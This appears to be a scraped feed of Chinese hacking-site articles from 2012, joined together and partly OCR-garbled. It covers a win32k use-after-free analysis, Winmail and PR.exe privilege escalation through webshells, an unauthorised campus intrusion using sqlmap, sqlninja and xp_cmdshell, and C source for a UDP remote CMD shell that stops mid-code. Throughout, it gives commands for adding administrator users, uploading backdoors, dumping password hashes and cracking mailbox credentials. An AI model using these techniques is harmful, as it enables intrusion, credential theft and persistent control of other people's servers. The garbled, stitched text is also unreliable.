.text:BF89C7B5 call _xxxSetMenuInfo@8  ;xxxSetMenuInfo(x, x) .text:BF89C7BA call _ThreadUnlockl@0 ;  ThreadUnlockl() .text:BF89C7BF xor ecx, ecx  .text:BF89C7Cl inc ecx   .text:BF89C7C2 xor edx, edx  .text:BF89C7C4 add ebx, 6Ch ; next menu item #p#分頁標題#e# .text:BF89C7C7 cmp [ebp+cIteras], edx ;  more items ? .text:BF89C7CA jnz short loc_BF89C789  為了解決菜單子項事件涉及的漏洞問題,Microsoft在win32k中引入一個新函數 MNGetpItemFromIndex.此函數以菜單對象指針以及菜單子項索引index為輸入參數,獲取對應子項的屬性信息。  setwindows數組之use-after-free漏洞。windows允許應用程序對多個窗口進行批次 更新。使用一個特殊的setwindowsPos對象即指向窗口位置結構體數組的指針。當應用程序 調用deferwindowsPos()函數時,系統會對swp對象及窗口結構體數組進行初始化,并 對數組元素的個數(即窗口位置結構體)進行預分配;隨后系統會調用deferwindowspos() 函數更新窗口位置,當請求更新的窗口位置索引項超出了預分配的項數時,win32k會用更多 可用空間分配給窗口位置數組,如圖9所示。 當所有請求更新的窗口位置都處理完畢后,應用程序會調用EndDEferwindowspos()函 數更新窗口列表。在操作smwp數組時,為ink并不總是會在用戶模式回調之后校驗數組指針, 調用enddeferwindowspos函數處理多窗口位置結構體時,win32k會調用xxxCalcValidRects 函數會計算8麗?數組中每個被引用的窗口大小及位置,同時遍歷每個窗口項,執行各項操作 如發送麗31仙01卩080_01恥消息通知每個位置正發生改變的窗口。此消息會觸發用戶模式 回調,攻擊者可以在同一個51?對象上調用deferwindowspos,促使smwp數組重分配,如下所示: DeferWindowPos(..)fitte SMWP array entries .text:BF8A37B8 mov ebx, [esi+14hJ ;SMWP array  .text:BF8A37BB mov [ebp+var_20], 1  .text:BF8A37C2 mov [ebp+cItems], eax ; SMWP array count .text:BF8A37C5 js loc_BF8A3DE3 ;  exit if no entries .text:RF8A3839 Dush ebx  h eax .text:BF8A383B push WM_WINDOWPOSCHANGING .text:BF8A383D push esi .text:BF8A383E call _xxxSendMessage@16 ; user-mode callback • text:BF8A3843 mov eax, [ebx+4] • text:BF8A3846 raov [ebx], edi ; window handle • text:BF8A3DD7 add ebx, 60h ; get next entry .text:BF8A3DDA dec [ebp+cItems] ; decrement cItems .text:BF8A3DDD jns loc_BF8A37CB 若xxxCalcValidRects函數沒有充分校驗指針和數組大小邊界,則當它將窗口句柄寫回 原緩沖區時就有可能導致似6-3代6廣打66漏洞。 3.use-after-free漏洞利用 攻擊者要在win32k上實現use-after-free漏洞利用,需要對已經釋放的內存進行重分配 并能控制其內存空間上的內容。因為用戶對象及其相關數據結構都是以字符方式存儲,故通 過設置對象屬性完全控制最近存放在已釋放的內存空間內容并對其進行任意大小的分配是 完全可能。只要避免肌^)見]匕8發生(字符串的結束符),使用任意字節的組合都有可能操 作內存中的對象與數據結構。如何在desktop heap上引發此漏洞,攻擊者可借助setwindowtextw函數對一個窗口的標題欄命名,迫使desktop heap分配任意大小的堆空間。 類似地,調用SetClassLongPtr并指定GCLP_MENUNAME參數,以設置窗口類相關的菜單字符名 時,可觸發任意大小的會話池分配。下面的代碼顯示了鍵盤布局對象上的use-after-free漏洞: up ei pl nz na efl=00010207 [eax+OCh], esi eax=41414141 ebx=00000000 ecx=ffbl37e0 edx=8el35f00 esi=fe74aa60 edi=fe964d60 eip=92d05f53 esp=807d28d4 ebp=807d28f0 iopl=0 nv pe cy cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 win32k!xxxSetPKLinThreads+0xa9: 92d05f53 89700c raov dword ptr ds:0023:4141414d=???????? kd> dt win32k!tagKL @edi _b +0x000 head : _HEAD +0x000 h : 0x41414141 +0x004 cLockObj : 0x41414142 +0x008 pklNext : 0x41414141 +0x00c pklPrev : 0x41414141 由上面的代碼可知,鍵盤布局對象已經被攻擊者在如desktop heap上惡意分配的字符所 覆蓋。此時win32k嘗試將此鍵盤布局對象鏈接到鍵盤布局對象鏈表時,將會操作一個已釋放 的對象。顯然,攻擊者可以在被釋放的位置安置一個惡意shellcode地址。 4.小結 本文描述了用戶模式回調有可能引發的各種安全漏洞問題,并詳細闡述了windows管理器中的全局鎖在用戶模式回調機制中的瑕疵。盡管涉及到的各種由于用戶模式回調機制下為充分校驗對象指針等各種關鍵資源導致漏洞已經基本解決,但這些問題的某些復雜性表明更多的細微缺陷很可能依舊駐留在為ink中。 #p#分頁標題#e#   http://www.ionrce.tw/uploads/allimg/120505/1-120505220459248-lp.jpg 用戶模式,回調機制,內核攻擊 系統安全 admin 未知 2012-05-05 22:02 Windows2008 中 Magic Winmail Server 提權 http://www.ionrce.tw/wangzhananquan/20120504895.html Magic Winmail Server是安全易用全功能的郵件服務器軟件,不僅支持SMTP/POP3/IMAP/Webmail/Ldap(公共地址簿)/多域/發信認證/反垃圾郵件/郵件過濾/郵件組/公共郵件夾等標準郵件功能,還有提供RBL Magic Winmail Server是安全易用全功能的郵件服務器軟件,不僅支持SMTP/POP3/IMAP/Webmail/Ldap(公共地址簿)/多域/發信認證/反垃圾郵件/郵件過濾/郵件組/公共郵件夾等標準郵件功能,還有提供RBL/SPF/Spam Assassin/郵件簽核/郵件殺毒/郵件監控/支持IIS,八口%化/網絡硬盤及共享/短信提醒/郵件備份/ssl(tls)安全傳輸協議/郵件網關/動態域名支持/遠程管理/Web管理/獨立域管理員/在線注冊/二次開發接口等特色 功能。它既可以作為互聯網郵件服務器、局域網郵件服務器,也可以作為ADSL寬帶、FTTB、 有線通(CableModem)等接入方式的郵件服務器和郵件網關。 Magic Winmail server程序安裝為系統服務,程序一般是在administrator權限下運行的,而服務程序MailServer.exe是在system權限下運行的,因此當有Webshell時,就可以通過這個漏洞來提升權限了。Magic Winmail Server提供的Webmail是通過PHP腳本來實現管理的,下面就針對該郵件服務器的提權和防范進行探討。 1.獲取Winmail目錄地址 通過 Webshell 找到了 Winmail 的物理地址 “G:/Winmail/server/webmail/www”,如圖 1 所示,尋找winmail有幾種手段: (1)如果獲取的Webshell是asp.net,則可以直接查看進程或者服務來獲取Winmail 的物理地址;如果IISSPY能用也可以獲取Winmail的網站真實路徑。 (2)針對目標對象進行mail地址測試,一般提供winmail的地址多為mail, somesie. com 或者 webmail. somesite. com。 2.執行whoami命令 在webshell中進入 “Execute Command” 頁面,在use中選擇 “phpfunc”,Command 中 輸入 “whoami”命令查看Webshell是什么權限,如圖2所示,顯示為“nt authority\system” 權限。 3.添加用戶到管理員組 既然是系統權限,則可以直接執行添加命令,由于系統是Windows 2008 Server,前幾次添加用戶老是提示不成功,后面分析原因發現Windows 2008 Server系統用戶密碼對強度 有要求,必須具備一定復雜度才能添加成功,如圖3所示,執行“net user SQLdebugger www.ionrce.tw /add”命令成功完成。后面分別執行“net user SQLdebugger Administrators /add”和“net localgroup administrators”命令,將SQLdebuger用戶加入到管理員中以及查看管理員用戶組中的用戶,執行效果如圖4,圖5所示。 添加用戶到管理員組中,查看系統管理員組。 4.設置并登陸遠程終端服務器 單擊“開始”-“運行”,在運行中輸入“mstsc”命令,打開遠程桌面連接窗口,如圖6 所示,在計算機中輸入目標服務器的正地址或者域名,在用戶名中輸入%01(1吐叫8虹”, 密碼中輸入剛才添加的密碼,選中“保存密碼”復選框,可以在下次連接時不用再次輸入密碼,當然也可以將此次配置另存為一個3389的文件。最后單擊“連接”進行登錄測試,如圖7所示,成功登錄該服務器。 5. Winmail郵箱用戶與口令 Winmail的配置文件保存在“G:/Winmai 1/server/”目錄,也即安裝目錄下的Server 子目錄,“userauth.cfg”文件為郵箱用戶口令配置,郵箱登陸用戶名為<name></name>之間的字符串,如圖8所示,本例中的用戶為postmaster,用戶密碼為md5后的字符串 “8ed44440b3e4077a782ff5cc5348e366”,Winmail 還有其它加密方式,如果password之間 為md5,則表示為md5加密,否則為相應的加密方式。該密碼可以通過cmd5等網站進行查詢破解,如圖9所示,由于該密碼位數較長,屬于收費類型。 6.進入郵箱 使用破解的密碼和用戶名進行登錄,如圖10所示,成功進入登入該郵件系統,通過驗證 知道Winmail PHP版本的郵件用戶密碼多采用cmd5加密,通過分析其配置文件 userauth. cfg, 可以獲取該mail郵件服務器的所有用戶名和密碼。 #p#分頁標題#e# 7.winmail服務器防范 Winmail服務器本身相對比較安全,但該軟件將php腳本環境的權限設置為系統權限就相對危險了,其防范方法有下面一些: (1)降低winmail的權限 (2)設置winmail Web目錄為只讀,這樣即使入侵者獲取了webshell也因為沒有寫入 權限而無法執行腳本命令。   http://www.ionrce.tw/uploads/allimg/120504/1-12050415532GT-lp.jpg Magic,Winmail,提權 網站安全 admin 未知 2012-05-04 15:51 通過Pr提權滲透國外某高速服務器 http://www.ionrce.tw/wangzhananquan/20120503894.html 有些滲透是一種偶然,但偶然的滲透卻有著被滲透到必然。本次滲透源于素材收集,通過本次滲透有了下面的一些收獲: (1)掃描工具不是萬能。掃描工具的掃描結果具有參考價值,通過 有些滲透是一種偶然,但偶然的滲透卻有著被滲透到必然。本次滲透源于素材收集,通過本次滲透有了下面的一些收獲: (1)掃描工具不是萬能。掃描工具的掃描結果具有參考價值,通過掃描出來的信息,借助經驗,可以進行進一步的測試。 (2)hzhost管理系統的滲透方法,通過Asp.net的Webshell查看進程來獲取hzhost 的物理路徑,如果能夠訪問hzhost的物理路徑,則可以下載其管理所用的數據庫表 site.mdb,在site.mdb數據庫中會保存root和sa用戶的密碼,掌握了MySQL和MSSQL的 管理員密碼后,可以嘗試數據庫提權,從而獲得管理員權限。在hzhost有access數據庫,也有是采用MSSQL數據庫。 下面是具體的滲透過程: 1.分析aws掃描結果 使用的掃描工具為AWS,如圖1所示,掃描結束后給出了 265個警告信息,雖然出現高 危的跨站漏洞較多,但對于普通安全人員來說,利用188還有一些難度。然后對于掃描結果 中的源代碼暴露、文件路徑、web編輯器、特殊文件名稱等要做詳細的分析和實際測試,通 過這些漏洞很有可能拿到Webshell權限。 2.獲取直接文件上傳地址 通過查看aws掃描結果,發現該網站存在直接文件上傳地址,在aws中選中該頁面直接 進行瀏覽測試,如圖2所示,能夠正常訪問,且未做安全驗證測試。 3.直接上傳網頁木馬測試 通過測試發現上傳頁面能夠正常訪問,則可以按照以下方法來上傳網頁木馬: (1)直接上傳網頁木馬,網頁木馬可以是大馬,也可以是小馬,也可以是113文件命名漏洞的圖片文件。 (2)嘗試文件編輯器漏洞來直接上傳文件 (3)將文件保存到本地修改提交地址和代碼來上傳文件。 (4)此抓包提交等方法來上傳網頁木馬。 在本例中利用的是第一種方法,通過iis命令規則漏洞來上傳,成功上傳一句話后門文件 “2.asp;l.jpg”,如圖3所示,上傳成功后還提示具體的文件上傳地址。 4.創建并操作一句話后門 相比早期,中國菜刀真是一句話后門操作的福音,如圖4所示,在地址中輸入一句話后門 ®a“http://www.ionrce.tw/sywebeditor/2.asp;l.jpg“,密碼為“cmd”單擊添加。即可將該后門地址添加到中國菜刀管理器中。在中國菜刀中單擊剛才添加到一句話后門地 址,如果連接沒有問題,則可以直接對該網站文件進行操作,如圖5所示。 5.上傳大馬進行管理 在中國菜刀中將網頁大馬上傳到網站中,如圖6所示,通過該頁面進行文件上傳、刪除、 修改和下載等管理操作。 6.查看網站服務器文件 通過網頁木馬查看目標網站所在服務器上的文件,如圖7所示,獲取了該網站所在服務器 的管理平臺的數據庫,將該數據庫下載到本地。 在該文件夾下還存在mysql數據庫,到data目錄下建user.myd文件下載到本地,該文件保存了 MySQL的所有數據庫用戶名稱和密碼等信息。MySQL的user.MYD文件中的用戶密 碼可以cmd5網站查詢破解。如果破解了root用戶密碼,對于Windows系統可以嘗試UDF提權。 8.分析site.mdb數據庫 由于目標網站使用的管理系統為華眾管理系統(HZHOST),通過下載該安裝文件下的 site.mdb, site.mdb有site,sqlseting和vhosteting三個表,其中site表記錄的是站點名稱、ftp用戶名稱、ftp密碼、站點所在目錄等信息,如圖10所示。在該表中可以直接 獲取ftp用戶名和密碼,主機所能支持的語言類型(asp、php和net2)等信息。Sqlseting 表保存的是sa和root用戶的密碼,如圖11所示。Vhostseting表保存的是虛擬主機管理信息。 圖10獲取網站管理信息 #p#分頁標題#e# 圖11獲取網站sa和root用戶密碼 9.上傳 php Webshell 通過site,mdb數據庫找出支持php編程語言的虛擬機主機站點,通過ftp直接連接該站點,輸入從site表中獲取的網站用戶和相對應的密碼,順利登錄該Ftp服務器,如圖12 所示,執行“put control.php”將本地存在的control.php網頁木馬上傳到網站。然后通 過IE瀏覽器訪問該Webshell地址,如圖12所示,上傳的Webshell成功運行。 10.Pr提權 將PR提權工具上傳到網站服務器上,如圖14所示,在CmdPath中輸入 “C:\RECYCLER\pr.exe”,在 Argument 中輸入 “net user temp temp2005 /add,,,將 temp 用戶添加到系統中。然后再在Argument中輸入“net user localgroup administrators temp /add”,將切即用戶添加到管理員組中,如圖15所示,PR命令執行成功后會給出一些提示 信息。最后執行“net user localgroup administrators”看管理員組的情況,如圖16所 示,temp用戶已經成功添加到系統管理員組中。 11.獲取遠程終端端口 使用NMAP對該服務器IP進行所有TCP端口掃描,如圖17所示,成功獲取該服務器的遠 程終端端口。 圖17掃描服務器端口 12.登錄遠程終端 通過遠程終端客戶的程序mstsc.exe直接登錄該服務器,輸入剛才添加到用戶名和密碼, 順利登錄服務器,如圖18所示。 http://www.ionrce.tw/uploads/allimg/120503/1-1205032104393W-lp.jpg Pr提權,滲透,服務器 網站安全 admin 未知 2012-05-03 21:01 滲透學校校園網并架設vpn http://www.ionrce.tw/wangzhananquan/20120501889.html 某次去機房突然看到了掛在墻上的網絡拓撲圖,從而了解整個學院的網絡分布情況。正好泄露了網絡拓撲結果,于是在了解拓撲結構的情況下,展開了一次滲透測試。在此題外話一句, 某次去機房突然看到了掛在墻上的網絡拓撲圖,從而了解整個學院的網絡分布情況。正好泄露了網絡拓撲結果,于是在了解拓撲結構的情況下,展開了一次滲透測試。在此題外話一句,不知為何現在的學校喜歡把網絡拓撲圖詳細地貼在墻上,女友學校的網絡拓撲圖還竟然公開在學校的網站上,實在無語。我簡略繪制本校的拓撲結構,如圖1: 整個學院內部用的10.10.0.0網段的IP地址,學院有DHCP、DNS、Web、FTP服務器, 它們都共同位于10.10.8.0網段。 我們宿舍每個人的書桌下有網線插孔,從拓撲圖中就可以看出,雖然沒有開通上網,只要網線插上去,同樣可以跨網段訪問,也就是對web服務器可以訪問的,經過掃描,還有不少內部網站,比如在線電影之類的。 我的想法是拿下某一臺機器的權限,然后開個vpn來上網。為了長期使用,我選擇了對服務器下手,先就選擇了web服務器。順便說下,我主要用的backtrack5作為滲透環境, 所使用的大部分工具均來源于BackTrack5中。 WEB服務器是在10.10.8.0這個網段的,首先用Nmap對整個網段進行掃描: root§bt:^# nmap -sS -p 80 10. 10. 8.1-254 —open 其中,,參數代表只掃描指定端口,參數后跟欲掃描的端口號;--open的表示結果只顯示開放了80端口的主機;10.10.8.1-254是1?地址的范圍,指代10.10.8.1~10.10.8.254, 因為255是廣播地址,所以只用掃到254即可。只用了3秒多,就掃描完了整個網段,結果如圖2: 我選擇了 10.10.8.15這個目標站,因為它是asp.net架構的,如果有注入,較容易提權(后面事實證明的確非常好提權)。 打開以后竟然是一個旅游方面的網站,記得在學校某內部網站找到這個網站的鏈接,標明的是網絡協會的,可見大學學生的東西有多雜。 隨便點開了一則新聞的頁面,然后用sqlmap掃描: sqlmap. py -u "http://10. 10. 8. 51/Web/News/0piniondetail. aspx9id=54^ 很快就返回了如下文字:_ sqlmap identified the following injection points with a total of 0 HTTP(s) requests: Place: GET Parameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=53’ AND 9442=9442 AND ’fVBu,=,fVBu web server operating system: Windows 2003 web application technology: ASP. NET, Microsoft IIS 6. 0, ASP. NET 4. 0.30128 back-end DBMS: Microsoft SQL Server 2005 [*] shutting down at: 13:14:52 看來的確有注入,詳細信息都在上面了,操作系統是windows 2003, 1186.0以及數據庫是MSSQL 2005。立即看看數據庫當前的用戶名,提交如下命令: /sqlmap. py -u "http://10. 10. 8. 51/Web/News/0piniondetail. aspx9id=54^ —current—user 以下是從sqlmap返回的一長串信息中摘下的: [13:35:28] [INFO] fetching current user [13:35:28] [INFO] read from file ’/pentest/database/sqlmap/output/10.10. 8. 51/session’ : sa 顯示了當前用戶名是sa,如果真的是sa權限,那么已經成功了一半以上了。提交以下 命令查看當前用戶的權限: • /sqlmap. py -u "http://10. 10. 8. 51/Web/News/0piniondetail. aspx9id=54^ —privileges 摘下的關鍵返回信息,如下: database management system users privileges: [*] nx [*] sa (administrator) 果然是sa權限,趕緊換成sqlninja,Backtrack5中的Sqlninja是新版本,新版本的 Sqlninja已經不和以前的配置方法一樣了,需要先建一個配置文件。在終端中鍵入touch 001^.001^建立一個配置文件,針對此次攻擊,我的配置文件如下: —httprequest_start— GET http://10. 10. 8. 51/Web/News/0piniondetail. aspx?id=53’ ;/**/_SQL2INJECT_ HTTP/1.1 Host: 10. 10. 8. 51 User-Agent: Mozilla/5. 0 (X11; U; Linux i686; en-US; rv:l. 7.13) Gecko/20060418 Firefox/l. 0. 8 Connection: close —httprequest_end— Sqlninja的配置文件格式用了標準的HTTP請求,以一httprequest_start—和--httprequest_end--—作為開始和結束,get中url后面的_sql2inject—會被sqlninja自動替換成相應的注入語句。 保存文件。由于SQL Server2005默認是禁用了 xp_cmdshell的,所以首先需要恢復 xp_cmdshell存儲過程,鍵入命令: root@bt:/pentest/database/sqlninja#p#分頁標題#e## ./sqlninja -m x -f conf. conf -d 1 ^參數為攻擊模式,1參數為恢復xp_cmdshell存儲過程;-f用來指定配置文件;_d后跟 1可以注入時提交的sql語句,方便學習,回顯如下: > >++++++++++++++++SQL Command++++++++++++++++ if not(substring((select @@version), 25,1) <> 5) waitfor delay,0:0:5,; [+] Target seems a SQL Server 2005 1: 2000 2: 2005 f: fingerprint and act accordingly [+] Trying to reactivate xp_cmdshell using sp_configure... ++++++++++++++++SQL Command++++++++++++++++ exec master.. sp_configure ’ show advanced options’,1;reconfigure;exec master.. sp_configure ’ xp_cmdshell’, l;reconfigure [+] Checking whether xp_cradshell is available ++++++++++++++++SQL Command++++++++++++++++ exec master.. xp_cmdshell ’ping _n 5 127. 0. 0. 1'; [+] Yes ! Now xp_cmdshell is available 成功恢復xp_cmdshell了,接著開始執行系統命令。在終端鍵入: ./sqlninja -m c -f conf.conf c參數用來執行xp_cmdshell, root@bt:/pentest/database/sqlninja# . /sqlninja -m c -f conf. conf Sqlninja rel. 0. 2. 6-rc2 Copyright (C) 2006-2011 icesurfer <rOOt@northernfortress. net> [+] Parsing conf. conf. • • [+] Target is: 10. 10. 8. 51:80 [+] Starting blind command mode. Use "exit" to be dropped back to your shell. 、 這時光標在“>”后面閃動,用于輸入命令。我分別執行net user jybase www.ionrce.tw, net localgroup administrators jybase /add 來添加一個名為jybase的管理員。 由于Backtrack5中的mstsc不太好用,我就在Windows里用mstsc登錄了。于是順便 在主機上建了一個vpn。 登錄遠程桌面后,我用wce.exe抓出Administrator的hash,然后用Ophcrack掛上7G 的彩虹表跑出了密碼,接著在“本地用戶和組”中,S*Administrator,選擇屬性,在“撥入”選項卡中,將“遠程訪問權限(撥入或乂?10”改成“允許訪問”,如圖3: 然后在“控制面板”——“路由和遠程訪問”,在相應的計算機名中點右鍵,選擇“配置并 啟用路由和遠程訪問”,彈出的向導中選擇“自定義配置”,勾選“VPN”訪問和“NAT和基 本防火墻”,完成向導后啟用服務即可,只要保證Server、Routing and Remote Access、 Remote Registry和Workstation四個服務開啟了,關閉Windows防火墻即可。 然后在本地建立一個vpn連接,填入IP,用戶名和密碼即可,如圖4: 本文主要綜合使用了一下BackTrack5中的工具,本文純屬學習,勿用于其他用途。 http://www.ionrce.tw/uploads/allimg/120501/1-120501150K3I3-lp.jpg 滲透,vpn 網站安全 admin 未知 2012-05-01 15:06 遠程同步CMD SHELL 程序的實現(vc) http://www.ionrce.tw/xitonganquan/20120428876.html 在遠控類程序中,遠程執行CMD命令的功能非常實用,可以實現大量遠控本身沒有提供 的功能。一般遠控程序提供類似于資源管理器的文件目錄瀏覽功能,文件上傳、下載功能, 遠程運行 在遠控類程序中,遠程執行CMD命令的功能非常實用,可以實現大量遠控本身沒有提供 的功能。一般遠控程序提供類似于資源管理器的文件目錄瀏覽功能,文件上傳、下載功能, 遠程運行程序、鍵盤記錄和屏幕等基本功能,但受限于體積和開發等問題,很難面面俱到, 比如文件搜索、進程查看、端口查看等。如果提供一個遠程的CMD功能,那就可以像在本機 使用命令行一樣操作遠程主機了。在遠控中這個功能常用管道的方式實現。近日在黑防編輯 的指導下,利用傳送控制臺緩沖區的方式實現了一個遠程同步CMD SHELL的程序,該程序利 用 UDP協議傳輸CMD SHELL窗口的緩沖區數據,可使在本地主機CMD窗口中輸入的命令在遠 程主機上的CMD窗口中同步顯示和執行,返回結果也同樣同步顯示。測試效果如圖1所示 程序分為本地控制端和遠程被控端兩部分,通過UDP協議進行數據傳輸。運行時先打開 本地控制端程序,就會出現一個CMD 窗口,程序綁定了 UDP 的 8123 端口等待接收數據。同 時程序安裝一個事件鉤子,也就是建立了一個回調函數,當檢測到輸入為 Crtl+C 或 Crtl+Break 后就退出程序。緊接著程序會創建并激活一個控制臺屏幕緩沖區作為當前顯示 的控制臺的屏幕緩沖區。之后程序進入循環,等待接收綁定的UDP8123端口上的數據。一旦 接收到數據就會存入到當前的控制臺屏幕緩沖區當中并顯示出來。當我們在此CMD窗口中輸 入數據時,程序就會將屏幕緩沖區中的數據通過UDP包傳回到遠程被控端。從而實現了本地 CMD窗口的數據和遠程被控端的窗口數據的一致。本地控制端程序如圖二所示:其中dir命 令顯示的是遠程主機的C盤數據。 本地控制端的程序代碼部分注釋如下:   HANDLE MutexClient = CreateMutex( NULL,FALSE,"RemoteCMD" ); ...... hsocket = socket( AF_INET, SOCK_DGRAM , 0);         //創建一個 UDP 協議套接字 ...... if( ioctlsocket( hsocket , FIONBIO , &argit ) )         //設置 socket 為非阻塞模式 { ...... return; } UdpPort = htons(8123);          //接收數據的 UDP 端口 //設置綁定的套接字地址結構 bindSockaddr.sin_family = AF_INET; bindSockaddr.sin_port = UdpPort; bindSockaddr.sin_addr.s_addr = INADDR_ANY; if( SOCKET_ERROR==bind( hsocket ,(const struct sockaddr *)&bindSockaddr , sizeof(bindSockaddr) ) ) //綁定套接字 { MessageBox( 0,"Bind RemoteCMD port fail...",NULL,MB_OK ); CloseHandle( MutexClient ); closesocket( hsocket ); WSACleanup(); return; } SetConsoleCtrlHandler( HandlerRoutine,TRUE );//安裝一個事件鉤子,用以響應退 出按鍵 SetConsoleTitle("RemoteCMD");        //給控制臺窗口設置標題 safe_attrib.nLength = sizeof(SECURITY_ATTRIBUTES); safe_attrib.lpSecurityDescriptor = NULL; safe attrib.bInheritHandle = TRUE; //創建一個新的屏幕緩沖區并返回其句柄。控制臺程序通過句柄訪問控制臺的輸入緩沖區及屏幕緩沖區,該句柄 //可以用在任意需要控制臺輸入的函數中。 //新的屏幕緩沖區不會激活,除非調用了 SetConsoleActiveScreenBuffer 函數 hConsoleOutput = CreateConsoleScreenBuffer ( GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, &safe_attrib, CONSOLE_TEXTMODE_BUFFER, NULL); ...... dwSize.X = 80;         //控制臺屏幕緩沖區的大小 dwSize.Y = 100; SetConsoleScreenBufferSize( hConsoleOutput , dwSize ); SetConsoleActiveScreenBuffer( hConsoleOutput );                           //激活該緩沖區 while( RecvSreen() )    //接收屏幕數據 { if (!KeyboardEvent( 100 ) )       //發送鍵盤數據 { break; } } SetConsoleCtrlHandler( HandlerRoutine , FALSE );           //卸載事件鉤子 CloseHandle( MutexClient );        //關閉互斥體 closesocket( hsocket );        //關閉套接字#p#分頁標題#e# WSACleanup(); BOOL RecvSreen() { int fromlen = sizeof(toSockaddr); DWORD NumberOfcharsWriten; COORD dwWriteCoord; SREEN_INFO buffer; //從 hsocket 中接收發送端發來的控制臺屏幕緩沖區數據 if( 16 > recvfrom( hsocket, (PCHAR)(&buffer) , sizeof(SREEN_INFO) , 0 , &toSockaddr, &fromlen ) ) { return TRUE; } if ( buffer.packhead.packType != KEY_SREEN) { return TRUE; } if ( buffer.packhead.SreenBufferSize != 24036) { return TRUE; } if( !memcmp( &buffer.consoleBuffer.wCodePageID , &cmdBuffer , 6000) ) { return TRUE; } dwWriteCoord.X = 0;      //寫屏幕緩沖區的起始位置 dwWriteCoord.Y = 0; //將接收到的數據顯示到當前的控制臺屏幕中 WriteConsoleOutputAttribute(        hConsoleOutput       ,     (const      WORD *)(&buffer.consoleBuffer.Attribute), 8000 , dwWriteCoord , &NumberOfcharsWriten); WriteConsoleOutputCharacter(        hConsoleOutput       ,     (const      char *)(&buffer.consoleBuffer.Character), 8000 , dwWriteCoord , &NumberOfcharsWriten); SetConsoleScreenBufferSize(                  hConsoleOutput                 , buffer.consoleBuffer.csb.dwSize ); SetConsoleCursorPosition(                   hConsoleOutput                 , buffer.consoleBuffer.csb.dwCursorPosition); SetConsoleOutputCP( buffer.consoleBuffer.wCodePageID ); memcpy( &cmdBuffer , &buffer.consoleBuffer , 6000); return TRUE; } BOOL KeyboardEvent( DWORD dwMilliseconds) { INPUT_RECORD Buffer; DWORD NumberOfEventsRead; HANDLE input; input = GetStdHandle( STD_INPUT_HANDLE );        //獲得當前的標準輸入句柄 if( WAIT_OBJECT_0 == WaitForSingleObject( input , dwMilliseconds ) ) { //將當前控制臺的輸入數據存入 buffer if( ReadConsoleInput( input , &Buffer , 1 , &NumberOfEventsRead)) { if ( Buffer.EventType == KEY_EVENT ) { //將本地控制端的控制臺輸入數據發送給遠程被控端 SendKeyInfo( KEY_NO_CTRL , &Buffer , sizeof(INPUT_RECORD) ); } } } return TRUE; } 在目標機上運行遠程被控端程序。該程序首先綁定 UDP 8124 端口。隨后打開一個控制 臺,并創建一個新的控制臺屏幕緩沖區且將其設置為當前控制臺的屏幕緩沖區。然后創建一 個 cmd.exe 進程,該進程的輸入輸出都會通過剛才創建的控制臺屏幕緩沖區顯示出來。同時 該緩沖 區中的數據都會通 過 UDP 包向接 收端程序 發送(此處使用的地 址為 192.168.123.119),而接收到的鍵盤數據也會寫入當前的屏幕緩沖區當中,從而實現了遠程 運行各種 CMD 命令的功能。遠程被控端程序如圖三所示: 遠程被控端程序的部分關鍵代碼如下:   int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR          lpCmdLine, int       nCmdShow) { ...... //創建互斥,避免多次運行 HANDLE MutexClient = CreateMutex( NULL,FALSE,"RemoteCMDS"); if (GetLastError()==ERROR_ALREADY_EXISTS) { MessageBox( 0,"RemoteCMDS has running...",NULL,MB_OK ); return 0; } ...... //綁定 UDP 端口 UdpPort = htons(8124); bindSockaddr.sin_family = AF_INET; bindSockaddr.sin_port = UdpPort; bindSockaddr.sin_addr.s_addr = INADDR_ANY; if( SOCKET_ERROR == bind( hsocket ,(const struct sockaddr *)&bindSockaddr , sizeof(bindSockaddr) ) ) { MessageBox( 0,"Bind RemoteCMD port fail...",NULL,MB_OK ); CloseHandle( MutexClient ); closesocket( hsocket ); WSACleanup(); return 0; } AllocConsole();   //為調用進程分配一個新的控制臺  即打開一個控制臺窗口 ShowWindow( GetConsoleWindow(), SW_SHOW );         //獲得控制臺窗口句并,并將控制#p#分頁標題#e# 臺窗口顯示出來。 SetConsoleCtrlHandler( HandlerRoutine,TRUE );        // 設置控制臺鉤子。第一個參數 是函數指針,就是上面的那個函數。第二個參數是標志,如果為 TRUE 那么就安裝鉤子, 如果為 FALSE 那么刪除鉤子   safe_attrib.nLength = sizeof(SECURITY_ATTRIBUTES); safe_attrib.lpSecurityDescriptor = NULL; safe_attrib.bInheritHandle = TRUE; hConsoleOutput = CreateConsoleScreenBuffer( GENERIC_READ|GENERIC_WRITE,             // 為控制臺創建額外的屏幕緩沖區 FILE_SHARE_READ|FILE_SHARE_WRITE, &safe_attrib, CONSOLE_TEXTMODE_BUFFER, NULL); ...... SetConsoleScreenBufferSize( hConsoleOutput , dwSize ); SetConsoleActiveScreenBuffer( hConsoleOutput ); //設置為當前控制臺的緩沖區 //創建一個 cmd.exe 進程,輸出指向了當前控制臺的屏幕緩沖區 lpStartupInfo.cb = sizeof(STARTUPINFO); lpStartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; lpStartupInfo.wShowWindow = SW_SHOW; lpStartupInfo.hStdError = hConsoleOutput; lpStartupInfo.hStdOutput = hConsoleOutput; lpStartupInfo.hStdInput = GetStdHandle( STD_INPUT_HANDLE ); while (TRUE) { if(!CreateProcess(0,"C:\\WINDOWS\\system32\\cmd.exe", 0 ,0 , 0 , 0 , 0 , 0 , &lpStartupInfo , &lpProcessInformation ) )        //創建的  CMD 輸出到指定的控制臺 屏幕緩沖區 { MessageBox( 0,"create process failed",NULL,MB_OK ); CloseHandle( MutexClient ); CloseHandle( hConsoleOutput ); closesocket( hsocket ); WSACleanup(); return 0; } while (RecvKeyInfo())     //接收發送端數據,發送屏幕緩沖區數據 { if( WAIT_TIMEOUT != WaitForSingleObject ( lpProcessInformation.hProcess , 100 ) ) { break; } } TerminateProcess( lpProcessInformation.hProcess ,0 ); CloseHandle( lpProcessInformation.hProcess ); CloseHandle( lpProcessInformation.hThread ); } return 0; } BOOL RecvKeyInfo() { DWORD NumberOfCharsRead; struct sockaddr fromSockaddr; COORD dwReadCoord; KEY_INFO buffer; CONSOLE_BUFFER sendBuffer; int fromlen = sizeof(fromSockaddr); //從 socket 接收數據存入 buffer if(0 <= recvfrom( hsocket, (PCHAR)(&buffer) , sizeof(KEY_INFO) , 0 , &fromSockaddr, &fromlen ) ) { switch( 